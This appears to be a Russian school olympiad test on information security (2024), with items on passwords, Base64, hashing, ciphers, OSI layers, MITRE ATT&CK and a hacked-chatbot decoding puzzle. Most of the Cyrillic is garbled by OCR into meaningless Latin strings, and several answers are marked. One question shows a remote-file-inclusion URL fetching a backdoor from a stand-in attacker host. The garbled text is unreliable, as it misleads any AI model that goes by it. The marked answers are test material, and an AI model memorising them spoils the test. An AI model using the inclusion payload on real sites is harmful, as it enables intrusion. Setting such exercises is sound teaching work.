Tpya (TexHonorus) 10-11 knacc. Npodunb
"MHdopmaumnoHHasa 6e3onacHOCTb"

8:00—22:0012 ok71 2024 1.

O6bwaa yactb

Ob6uwwme Bonpockl no npodwunto "Tpya/TexHonorna"

1 6ann

Ykaxute, Kakon ns TepMMNHOB O3Ha4YaeT MeTo[ YCKOopeHUna npouecca pelweHna TBoOp4YeCKUX 3agad ¢ npumeHeHnem

aHanorum

Mopdonornyeckni aHanuns
dokanbHbIN MeTopf
@ cuHekTuka

MeTo4 KOHTPOJIbHbIX BOMNPOCOB

1 6ann

Pacnonoxunte TexHonoruv B nopsaAake Ux nosasneHus:

. PacctaBbTe B BEpHOI NMOCNEA0BATENbHOCT = = = = = == mmmm - - - - - - - - - -mmmmm--—————— == — === -

MapTeEHOBCKME neyun

TOKapHO-BUHTOpPE3Hble CTaHKN

afgaonTUBHbIE TEXHOOTI I

CTaHKWM C YMcnoBbIM NporpaMMHbLIM yrnpaBieHnem
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1 6ann

PacnpepenuTe npodeccum no npeamety Tpyaa:

4yenoBeK-npumnpoaa

4yeJloBEK-TEXHWKaA

4YEeJ/1I0BEK-YEJIOBEK

4eJ/l0BEK-3HaKoBad CMCTEMa

4YeNoBEeK-XYyO0XeCTBEHHbIN 06pa3s

ansanHep

dwnnonor

XMUK

BOpPTUHXEHEP

npomoyTep




1 6ann

Kakoii paamep Ha npeAcTaBneHHOM yepTexe aBAseTca NMNWHUM?

R30

IO F

100

120

10

20

220

25

30

R30

40

100

120




1 6ann

YctaHoBuTe npaanbeu?l nopsapfokK aTtanoB I'IpOdJECCI/IOHaanOFO CTaHoOBJ1IeHnsd

, PaccTaBbTe B BEPHOWN MOC/EA0BATENTbHOCTY = m = m m o o o o om m om m om m om m om m m m m m om m m m om m m m m m m m m

Bbibop npodeccum

[MpodeccmoHanbHasa obyyeHHOCTb

HpOd)GCCVIOHaJ'IbHaH KOMMETEHTHOCTb

MNpodeccnoHanbHoe MacTEPCTBO 1 TBOPYECTBO

P el e e e e
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CMNEUNAJIbBHAA HACTb

Bonpochbl no cneunanbHOM YacTu

0.5 bannos

Kakon ns napone|7|, npuBegeHHbIX HNXXe, ABJiIseTCa CaMbiM 3alWNLEeHHbIM OT aTak (CI/IHbeIM naponeM)?

fearfishwhospearphish

@ tOppe@rPh!$hers

Pretty8

bluewhales&epicfails




0.5 6annos

Ykaxxute, Kakas U3 nocsefoBaTefibHOCTEN MOXET ABNATbCSA 3aKOAUpPOBaHHOW cTpokon B popmaTe Base64

(StandardRFC 4648)?

AndasuT kognpoBaHus Base64 (StandardRFC 4648) cogepXuUT NaTUHCKME CUMBOSbI, UMdPbI 1 CUMBOIbI

cydodukea (+, -, =

BOtjg@W-0;H$K

@ aGVozWJveXi5eQ==

NBSWQZLCN54&S6LZ==

YnVnbZ3ViYWc=

ZHppc3F*6 YWFnYW1pc3Nzc3Nzc3Nzc2Fx

dW5!kXJzdG9vZA

0.5 6annos

YT0 Takoe oAHOCTOPOHHSASA PyHKLMSA B KpunTorpapum?

MaremaTnuyeckasn q)YHKLWIFl, C nomMmoLibio KOTOpOI?I Jlerko HaxoauTb BbiIXoaHOe
3Ha4yYeHune no BXogHOMYy aprymeHTy 1 Jierko HaxoguTtb BXOQHOMN apryMeHT no
BbIXOOAHOMY 3Ha4YeHUIo

MateMatuyeckas ¢pyHKLMS, C NOMOLLbIO KOTOPOW TPYAHO HaXoAUTb BbIXOQHOE
3HauyeHue no BXogHOMY apryMeHTy N TPYAHO HaXO4UTb BXOAHOW apryMeHT no
BbIXOQHOMY 3HAUY€HUIO

. MaremaTnuyeckasn q)YHKLWIFl, C nomMmoLibio KOTOpOI?I Jlerko HaxoauTb BbiIXoaHOe
3Ha4yeHune no BXogHOMy aprymeHTty, HO CJ1I0O)KHO HaxXoAWuUTb BXOQHOMN apryMeHT no
BbIXOOAHOMY 3Ha4YeHUIo

MateMatunyeckas pyHKLMNS, C NOMOLLbIO KOTOPOW CNIOXXHO HaXoAuUTb BbIXOQHOE
3HayeHue no BXogHOMY apryMeHTy, HO JIerko HaxoguTb BXOQHOW apryMeHT no
BbIXOQHOMY 3HAUY€HUIO



0.5 bannos

YKaXuTe, BEpPHO N1 cregylouiee yTeepxaeHue?

«Ecnu Bbl 3abnokupyeTte otcnexmsatowme dannbl HTTP-cookie B cBoeM bpay3sepe (He 6oKMpys HUKaKue apyrue

TexHonorun), seb-canTbl He CMOryT OTCNEXMBaTb Ballle MEeCTOMOIOXKEHME»

BEPHO

@ HegepHo




0.5 bannos

YcTaHOBUTE COOTBETCTBUE MEXAY YPOBHEM Mofenun OSI n nx ncnonHaembiMun PYHKUNAMUN, TEXHONOINSAMU N

ycTponcTeamu:

Dusnyecknn LLndposaHune, KOHBEPTaLWA OaHHbIX B

pa Hble popmaTbl, AFP, ICA, NCP, ASCII,

gzip

KaHanbHbii [Nepenaya nakeToB, onpegeneHne
apuwpyTa, mapwpyTusatop, |IPv4, IPv6

CoTesoi MNanenava cerMeHTOB, faTarpamMM, nNopThl,
TCP, UDP

nadva 6utoB 1 GpermMoB, KOMMyTaTop,

TpchnopTHum C Bow MocT, 802.2, Ethernet, MAC, LCC

YoaneHHbi poctyn Kk B, 3anpocsbl K

YPOBH!IO NpeacTaBfieHns, B3aumoaencTemne

CeaHcoBbli NNOXEHWI C CeTblo, MpeaocTaBneHmne
dopmauunm o6 owmbkax, HTTP, FTP, RDP,
WebSocket

MNpenctaBnenus

efada curHanoB 1 6uToB, BUTasa napa,
KOHUeHTpaTop, nosTopuTtenb, RJ, USB

rlpVIKJ'Ia,D,HOVI CI/IHXpOHI/I3aLI,I/IFI NPOAOIIXXUTENbHOIO

obMeHa JaHHbIMU MexXxay y3namMm u
npoueccamun, RCP, PAP




0.5 bannos

Ykaxxute, Ha kakoM u3 ypoBHel mogenu OSI| He MoxeT 6bITb NpoBeaeHa DDoS-aTtaka?

MpunknagHom

MpeacraBneHus

CeaHcoBOM

TpaHcnopTHOM

CeteBoM

KaHanbHoOM

®dun3nyeckom

‘ DDoS-aTtakn BO3MOXHbl Ha KaXXi0OM N3 CeEMU YPOBHEWN

0.5 bannos

OxA *OxF =?

OxAF

© o0x96

0x228

OxDEAD




0.5 6annos

HecankuunoHunpoBaHHbI gocTtyn (HCL) — gocTyn K AaHHbIM coTpyaHWKa 6e3 npefocTaBeHHbIX Ha TO
MOSIHOMOYMIA CO CTOPOHbI PYKOBOACTBA UMW 3/10yMbILLNIEHHWKA. Takxe B HeKoTopbix cnydaax HCI HasbiBatoT
nony4yeHme goctyna K AaHHbIM YeTOBEKOM, KOTOPbIN MMeeT NpaBo AOCTyMNa K 3TUM AaHHbIM B ONpeaeneHHOM

obbeme, HO NpeBbICUN ero.

Yrto ns HMmXenepevyncineHHoro He MoXXeT ABNATbCA I'Ipl/l‘-ll/IHOI‘/'I nony4vyeHwus HCH K BAaHHbIM?

Owunbkn B HacTpomKax npae poctyna K 6azamMm gaHHbIX

MpocnywmneaHne KaHaN0B CBA3M He3aWNLWEeHHbIX COeANHEHNIA

Owwunbkn B nporpaMmMmHoOM obecnevyeHun

WNcnonb3oBaHue HelnueH3npoBaHHOro nporpaMmMHoOro obecneueHuns

3apa)KeHHb|e nepcoHasibHblie KOMIMbloTepPbl COTPYAHUKOB

. Bce nepeuncneHHoe MoXeT NocnyXutb npuynHon nonydyeHns HCL K gaHHbIM

0.5 bannos

http://example.com/page.php?file=http://hacker.com/backdoor - Kakas ya3BUMOCTb?

SQLi (SQL Injection)

XSS (Cross-Site Scripting)

LFI (Local File Inclusion)

@ RFI (Remote File Inclusion)


http://example.com/page.php?file=http://hacker.com/backdoor

Ne10

0.5 6annos

Kakue metogbl 06HaPY)KeHI/I$I Pa3sIN4yHbIX TUNOB BPeOAoOHOCHOro nporpaMmMHoOro obecneuyeHus ncnonbsyer

aHTIIIBI/IPYC? YKaxkute BCe BepHble BapnaHTbl

AHanus curHatyp

Pe3ucTteHTHbIN aHanu3

dBpUcTUYECKMii aHanu3

Ceponorunyeckunin aHanms

Ne T

1.5 6bannos

Marmndeckum KBagpaTtoM rnopsdaaKa n Ha3blBaeTCA KBafpaTHad Tabnuua pa3aMepoM n x N Kne- TOK, 3arnonHeHHasa
pa3nnyHbIMWN HaTypaJibHbIMW YNCITaMK ot 1nmo nz, KOTOpPble pa3MeLlleHbl TaKUM O6p830M, 4YTO CyMMbl Hmcen noboro
CTOJ'I6LI,a, CTPOKW 1 rMaBHbIX avaroHanen nMerT 0HO U TO Xe 3HayeHune. 3anonHeHne KOHKPETHOro Mmarn4eckoro
KBafpaTa 3afjaHHOro pasMepa MOXXHO MNCMNOJ1Ib30BaTb B Ka4eCTBE KJ/1H04a LIJVICI)pa nepecTaHOBKN. OTKprTbIVI TEKCT
pa3nendeTcd Ha 6J'IOKI/I, ONTMHa KaXOoro n3 KOTopbixX paBHa n? - B caMoM NMPOCTOM CJliy4dae bes yyeTa I'IpO66J'IOB 7
3HaKOB NpennHaHna. MocnegHwin 6J'IOK, €CJin ero pa3Mep MeHblle, O0MNOoJTHAEeTCA CJ'Iy‘-IaIZHbIMI/I 6YKBaMI/I 0o
HY>XXHOro pasmepa. [Mocne atoro 6YKBbI Kakgoro 6roka pacnonarakTcd B Tabnuue B COOTBETCTBMN CO CBOUM
nopaaokKoBbIM HOMEPOM. HOJ'IY‘-JEHHOG 3anonHeHne Tabnuupbl 3anncbiBaeTcs MOCTPOYHO CBEPXY BHU3 (B 06bl4YHOM

nopsaKe YTeHWs) B OOHY CTPOKY, KOTOpas 1 ABNSeTCS WUPTEKCTOM.

3awundpynte onncaHHbIM cnocoboM c NpUBEAEHHbIM HMKE 3anosIHEHNEM KBagpaTa cliefylowmin TeKCT: ¥ Benukum

BoNWEe6HUK"

1613 [2 |13

5 |10 1118

4 |15 11411

KNebKIWBONNENNHB
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1.5 6bannos

[Mepen Bamu coobuieHne, 3awmdpoBaHHoe WwWrdpom BkeHepa. MNpu wndpoBaHun bbina NCnonb3oBaHa

kupunnuua (33 byksbl). LndposaHne NponsBoanIOChH MPY MOMOLLN OOHOI0 U3 Kitoyen. Bo3MOoXHble Kito4n:

1. 3awmTa

2. B3nom

3. KoHduraeHUnanbHoOCTb

4. IHdopmaums

5. besonacHocTb

Monbaysacb Tabnuuen, onpenenus Kniod WnudposaHus, pacwmndpyinte cooblyeHne

3awmndposaHHoe coobuieHne: NTb 66aaL, U4 KMasTXWT ¢ NA0sB Wb MmKbrn

bykBa Iopsitok bykBa Iopsiaok bykBa IHopsaok bykBa Iopsaok

a 1 H 10 c 19 b 28
0 2 i 11 T 20 bl 29
B 3 K 12 y 21 b 30
r -+ J 13 b 22 g 31
I 5 M 14 X 23 10 32
e 6 H 15 [} 24 sl 33
é 7 0 16 4 25

XK 8 n 17 m 26

3 9 p 18 1 27

6e3 Tpyna He BbINOBULLb U PbIBKY 13 Npyaa




2 6anna

Xew-obyHKUMA — bYHKLMSA, OCYLLeCTBNSAOWLAn NpeobpasoBaHie MacCBa BXOAHbIX AaHHbIX MPON3BONbHON AMNHbI

B BbIXOOHY BUTOBYHO CTPOKY YCTaHOBEHHOM OJIMHbI, BbINOMHSAEMOE OnpeaenéHHbIM anropuTMoM.

MNpeobpasoBaHue, NPON3BOANMOE XELI-PYHKLVEN, HasblBaeTCca xellpoBaHeM. PeaynbtaT npeobpasosaHus

Ha3bIBaeTCq «Xewem».

YcTaHOBUTE COOTBETCTBUE MEXAY afiIrOPUTMOM XELUNPOBaHUS U XewweM

shal (184
ouT)

md5 (128
6uT)

apri

bcryp?

argon

sha256
(256 6V

shab1]

sha2

5e4291f2df5aaf84f8f41fbba/cla’/20

5rounds=50003ala fb28e54a03910d6RupbpABtxCaH8WW
OemYWEcToDVZXX/tHply601U3

b AAB8191a6c0facf9b415271865f3347fa83714300726f06a2b4e3060cf59d9

aprl1RD1koh.8$bFcmzeFEOXxBVzgAW70OWW;j/

3b6f29591f2e39dca8895ec9a6128b00ch7a123¢c

b12$ymTozM2AiIJEKPFXtXZ1FRuOalJZ1hcjloPdUo12icSbdHJcTVZBu 2

6rogads=10000 BRM D3SH f/tV2s.J fpeuYQUd51y04JtFaKRTKPbGNbP
JiWrIAu3X54XynCetPO6x/9xu0au/k9nRiq5G35Q926SIpiZZOHQIFK6PBI 1

a0}

argon2idv=19m = 65536,t = 3, p = 4NaYUgIBKiVGqVSrFuNd6bw$
ypt g+u9+61Uz3y6GPPZER25EKCTSZgPjq9U/ZdyaFxyj9w
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2.45 6anna

[laHo 3akognpoBaHHOe coobleHVe B WeCTHaALaTepUYHOM cnucteme cumcnenuns. Nonbayacb Tabnuuen,

packogupyunte coobleHne 1 3anuwuTe nony4yeHHoe CJ/1IOBO B Ka4eCTBe OTBeTa

3akogmpoBaHHoe coobueHne: 7069656365206f662063616b65

o M c N o BN c N

n 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Ad AA 3 AC AD AE AF G AR AT L | AR AL AN AN AQ
NUL |SOH |STX |ETX |[EOT |ENQ |ACK|BEL | BS | HT | LF | VT | FF | CR | SO | SI
NULL START OF [START OF [END OF |END OF |ENQUIRY |ACKNOWL- [BELL BACKSP, |CHARALT, |LINE LINE FORM CARRIAGE | SHIFT SHIFT

HEADTIRG | TEXT TEXT TRANGM, EDLE TARTTON | FEED TAS'TION |FEED RETURN ouT N
16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
Ap rQ AR AS AT AU AV 3" AX nYy nz AL AN A AA L
DLE|DC1|(DC2|DC3|DC4 |NAK|SYN|ETB|CAN| EM |SUB|ESC| FS | GS | RS | US
DATALINK |DEVICE DEVICE DEVICE CEVICE MEG.ACK- |SYNCHR. [EMD COF CANCEL END OF 5UBS- ESCAPE INFO, INFO. INFD. INFO.
ESCAPE  |CONTROLY [CONTROLZ |CONTRELI |CONTROLA [NOMLEDCE | 10LE TRANS. MEDTUM | TITUTE SEP. 4 |sEP. 3 |SEP. 2 |=ER. 13
H 32 33 34 35 36 37 38 39 46 41 42 43 44 45 46 a7
enc] Gquot nre allnr percnt anp wpON 1par rpar asl plus coTan perlod sol
| " # (y & 1 * + /
. 0 ’ ]
SPACE EXCLAM,  |QuOT. NUMBLH  |DOLLAR  |PERCENT [AmMPLR. APDS . LEFT RIGMT ASTERISK]PLUS COMMA HYPHEN . | FULL SOLIOUS
VARK MARK SIGN SI6M SIGN SAND TROPHE  |PAREN, PAREN, STGN MINS 5TOP
n 48 49 56 51 52 53 54 55 56 57 58 59 [71:] 61 62 63
colon ponl It equals at quett
. [ ] —
O11(2,3|4(5(6|7|8[9|:|,;|<|=[>]7
praeiy DIGEY AR nlaly pIGIT olGIT nIGly DIGIT DIGIT 1 1{44] COLON SEMT - L%, - Than [EQUALS GR, - THAY |QUEST -
Lk Rk ') ThMLe Faum FIvE s0x WVEN (3 {7k WNE CHLEN 16N S1GN S1GN 1ON MARK

n 64 65 66 67 (1] 69 70 71 72 73 74 5 76 17 78 79
connat
COMK' TAL
AT

ﬂ 80 81 82 83 a4 85 86 a7 88 89 90 021 92 23 94 95

1sgh tsol rsgh hat Llowtiar
LEFT SQ, |REVERZE [RT. %QR. [CIRCUM X |LOW LINE
BRACKET |SOLIOUS |BRACKET |ACCENT

96 97 o8 99 180 181 102 183 1e4 105 166 107 108 1689 118 111

Urave

) b d f hii|j|k|1l

GRAVL

ACCENT

n 112 113 112 115 116 117 118 119 120 121 122 123 124 125 126 127
A2

plglr|sitjulviw|x|y|z|{]|]|]|}]|~]e
L. CURLY [VERTICAL [R, CLRLY|TILDE DELETE
HRACKET | LINE REACKE T

piece of cake
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2.55 6anna

MITRE ATT&CK ® - 370 rmobanbHo gocTyrnHasa 6a3a 3HaHW 0 TaKTUKe 1 TEXHWKaX NPOTUBHMKA, OCHOBaHHas Ha

peanbHbiX HabntogeHusx. baza 3HaHWn ATT&CK ncnonb3yeTcs B Ka4ecTBe OCHOBbI /19 pa3paboTKy KOHKPETHbIX

MoJenewn yrpo3 n MeTogonoruin B YacTHOM CEKTOPE, B NPaBUTENbCTBE U B coobuiecTBe NPOoOYyKTOB 1 YCNyr B

obnactn knbepbesonacHocTh. MaTpuua MITRE ATT&CK npenctasnsieT coboit Habop TakTuK (cTonbubl) 1 Habop

TexHuK (cogepnmoe cTonbLos).

Bawa 3agaya — cooTHeCTU npeacTaBneHHble HMKe TEXHUKM (CrnpaBa) ¢ COOTBETCTBYIOLWMMM TaKTUKaMu (cnesa),

MCNonb3ys Balln 3HAHUSA U NOHMMaHWe onpeaeneHnin B obnactm KMGEpﬁeSOHGCHOCTM n IT. OgHa TaKkTnKa MoXeT

cofepXaTb HECKOSIbKO TEXHUK. TEXHMKA MOXET NPUHaANEXaTb HECKONbKUM TaKTUKaM. HacTb TaKTUK MOXET He

NMeTb TEXHUK B NPeacTaBNeHHOM CrncKe. Bce TaKTUKM 1 TEXHUKN CYLLECTBYIOT U HE ABMASIOTCS BblOYMaHHbIMU.

1. Reconnaissance (PasBeaka)

2. Resource Development (IMogrotoBkd
pecypcoB)

3. Initial Access ([lepBoHayanbHbIN
LOCTYM)

4. Execution (BbinonHeHune)

5. Persistence (3akpenneHue)

6. Privilege Escalation (3ckanauns
npuBunernin)

7. Defense Evasion (INpepoTBpallerue
obHapyxeHus)

8. Credential Access (lony4yeHune
YYETHbIX AaHHbIX)

\

9. Discovery (ViccnegoBaHune)

{

. Data Manipulation (MaHunynsuus c
OaHHbIMW)

ncrypted Channel (3awndpoBaHHbIN
KaHan)

B. Exploitation of Remote Services
(3kcnnyaTaumsa yaaneHHbIX Cry»0)

. Data from Removable Media ([JaHHble co
CbEeMHbIX HOCUTENEN)

0. Network Sniffing (INpocnywwnsaHne
ceTeBoOro Tpaduka)

/

e\Establish Accounts (CospnaHune y4eTHbIX

3anucen)

. Exfiltration Over Web Service
(BkchuneTpaums yepes Beb-cnyxby)

3. Exploitation for Client Execution
(YasBumocTn B knueHTckom [10)

. Multi-Factor Authentication Interception
(MepexBaT MHOrodaKTOPHOM
ayTeHTudnKaummn)




10.

11.

12.

13.

14.

Lateral Movement Collection /
(lNepemeleHne BHYTpU Nnepume

Collection (C6op gaHHbIX)

Command and Control (anasner/me
N KOHTPOJSb)

Exfiltration (OkchunbTpauns ,ua‘ )

Impact (Bosgenctaune) .

‘. Phishing for Information (OuwuHr c
uenbto cbopa cBefeHnn)

n. Obfuscated Files or Information
96q>ycu,|/|posaHb|e dannbl N gaHHble)

. Abuse Elevation Control Mechanism
(Obxon MexaHN3MOB KOHTPONS
npuBUNernmn)

Adversary-in-the-Middle («Henosek
nocepeguHe»)

. 0. Brute Force (Metog nepebopa)

Kenc




5 6annos

VickyccTBeHHbIN MHTennekT (V) gocTur HOBbIX BbICOT — TEMEpb C HAM MOYKHO BCTYMaTb B AManor U axe
MoKasbIBaeT XXeCTbl U pucyHku! Ho BOT Hesagada, oauH 13 Hawmux I 6610 B3noMaH 3nbiM xakepoM. OH Bce elle
BCE MOHKMaeT, MoKa3blBaET XEeCTbl U PUCYHKW, HO OTBEYAET KaK-TO CTPaHHO... Mbl noobwannch ¢ HUM, HO He 40

KOHL,a NMOHKMaeM, YTO OH HaM OTBeYaeT. BOT, ocTancsa ToAbKo Ananor ¢ HUM.

Ye10BeK N

ITpuser!

207240 232 226 229 242 33

Yrto cnyunnocs?

CCESEDFF 20 E2 E7 EB EE EC EO EB E8

Kto?
213E0234ES5F0
Hazosu nms
205E520ECoE3243
[Touemy?
CEED 231224mn¢p238226224235 ESECs
Kax?
Tudp20D6ESETE0240255
Hanuinu Bce, 4TO 3HAEIIb,
MBI TTIOMOKEM
CE4BESE33A2014

1992241mm¢p238226224EDEDEEESESECa3A2058637662

Y3HaiTe, 4TO CAy4Ymnnochb 1 y3aHanTe nMs Xxakepa, KTo oCcyLLecTBuN B35ioM cuctembl! Bo3amoxHo, Bam npurogutcs

Tabnuua, KOTopylo OH HaM Mpucnan B KoHUe auanora. B oTeBete ykaxuTte ums xakepa



Dec |[Hex| CumpBoa Dec | Hex | Cumeour | Dec | Hex| CumiBour | Dec | Hex | CuavmiBoa
cuen. SP
0 0 |cnen. NOP| 32 20 | (ITpoGen) | 64 | 40 (e 96 60
1 1 cnen. SOH | 33 21 ! 65 | 41 A 97 61 a
2 2 cnien. STX | 34 22 o 66 | 42 B 98 62 b
3 3 cnen. ETX | 38 23 ## 67 | 43 5 99 63 c
4 4 cnen. EOT | 36 24 s 68 | 44 D 100 | 64 d
s 5 cnen. ENQ | 37 Z25 %% 69 45 E 101 65 e
6 6 |cnen. ACK| 38 26 & 70 | 46 F 102 | 66 f
T 7§ cnen. BEL 39 27 71 47 G | 103 67 B
8 8 cnen. BS | 40 | 28 { 72 | 48 i | 104 | 68 h
9 9 cneu. Tab | 41 29 ) 73 | 49 I L 105 | 69 i
10 | OA cnnen. LF 42 | ZA * 74 | 4A J 106 | 6A i
11 | OB | cneu. VT 43 2B + 75 | 4B K 107 | 6B k
12 | oC coen. FF 44 | 2C 76 | 4C L 108 | 6C |
13 | OD | cnen. CR 45 | 2D - 77 | 4D M 109 | 6D m
14 | OE cnei. SO 46 ZE . 78 | 4E N 110 | 6E n
15 | OF | cneu. SI 47 | 2F 79 | 4F O 111 | 6F o
16 | 10 | cunen. DLE | 48 30 0 80 | S0 P 112 | 70 p
17 11 | conen. DC1 49 31 1 81 | 51 Q 113 | 71 q
18 | 12 | cnen. DC2 | SO 32 2 82 | 52 R 114 | 72 r
19 13 | cnen. DC3 | 51 33 3 83 | 53 S | 115 | 73 s
20 14 | coen. DC4 | 52 34 4 84 | 54 T 116 | 74 t
21 | 1S |coen. NAK| S3 | 3§ 5 85 | 55 j F137 ] 7S u
22 16 |coeu. SYN | 5S4 36 6 86 | 56 Vv | 118 | 76 v
23 | 17 |cunen. ETB | §5§ | 37 7 87 | 57 W 119 | 77 W
24 18 | cneu. CAN| S6 38 bad S8 X | 120 | 78 x
25 19 | cnen. EM 57 39 9 89 | 59 ¥ 121 | 79 v
26 | 1A |cnea. SUB| S8 | 3A - 90 | SA & | 122 | 7A z
27 | 1B | cnen. ESC ||I'SH 3B - 91 | 5B [ 123 | 7B {
28 | 1C cnen. FS 60 | 3C < 92 | SC 124 | 7C
29 | 1D | cuneu GS 61 3D = 93 | SD ] | 125 | 7D }
30 | 1E | cueu. RS 62 3E 94 | SE i 126 | 7E ~
31 1F cuen. US 63 | 3F 95 | SF 127 | -TF
Dec [Hex|CumBoux | Dec | Hex | CumBoa | Dec | Hex | CumBoa | Dec | Hex ([Cumsosx
128 | 80 B 160 | A0 192 | CO A 224 | EO a
129 | 81 E 161 | Al V' 193 | C1 b 225| E1l 5
130 | 82 = 162 | A2 v 194 | C2 B 226 | E2 B
131 | 83 r 163 | A3 J 195 | C3 E 227 | E3 r
132 | 84 ks 164 | A4 = 196 | C4 B4 1 228 | E4 b |
|133 ] 8S 165 | AS r 197 | C5 E 229 | ES e
134 | 86 J 166 | AG - 198 | Co6 K 230 | E6 H
135 | B7 j 4 167 | A7 S 199 | C7 3 231 | E7 3
136 | 88 € 168 | ASB E 200 | C8 %1 232 | ESB M
137 | 89 %o 169 | A9 ) 201 | C9 1 233 | E9 i
138 | BA Jb 170 | AA o 202 | CA K 234 | EA K
[139 | 8B < 171 | AB « 203 | CB JI 235 | EB It
(140 | 8C 1L 172 | AC — 204 | CC M 236 | EC M
‘141 | 8D K 173 | AD 205 | CD H 237 | ED H
142 | 8E h 174 | AE & 206 | CE O 238 | EE O
143 | 8F 1 175 | AF 1 207 | CF 8 | 239 | EF n
144 | 90 b 176 | BO i 208 | DO P 240 | FO P
145 | 91 3 177 | B1 = 209 | D1 B 241 | F1 c
146 | 92 ¢ 178 | B2 1 210| D2 4 242 | F2 v =
(147 | 93 - 179 | B3 i 211 | D3 W 243 | F3 v
‘148 | 94 = 180 | B4 r 212 | D4 D 244 | F4 &b
149 | 95 - 181 | BS 11 213 | DS X 245 | FS x
150 | 96 — 182 | B6 17 214 | D6 Ly 246 | F6 i
151 | 97 — 183 | B7 . 215 | D7 ! 247 | F7 g
152 | 98 < 184 | BS & 216 | DS 111 248 | F8 1
153 | 99 ™ 185 | B9 Ne 217 | D9 11] 249 | F9 i1}
1154 | 9A Ib 186 | BA c 218 | DA b 250 | FA B
155 | 9B > 187 | BB » 219 | DB 159 251 | FB bl
156 | 9C o 188 | BC 3 220 | DC b 252 | FC b
157 | 9D K 189 | BD S 221 | DD & 253 | FD <
158 | 9E h 190 | BE S 222 | DE 10O 254 | FE O
(159 | 9F u 191 | BF 1 223 | DF 51 255 | FF a
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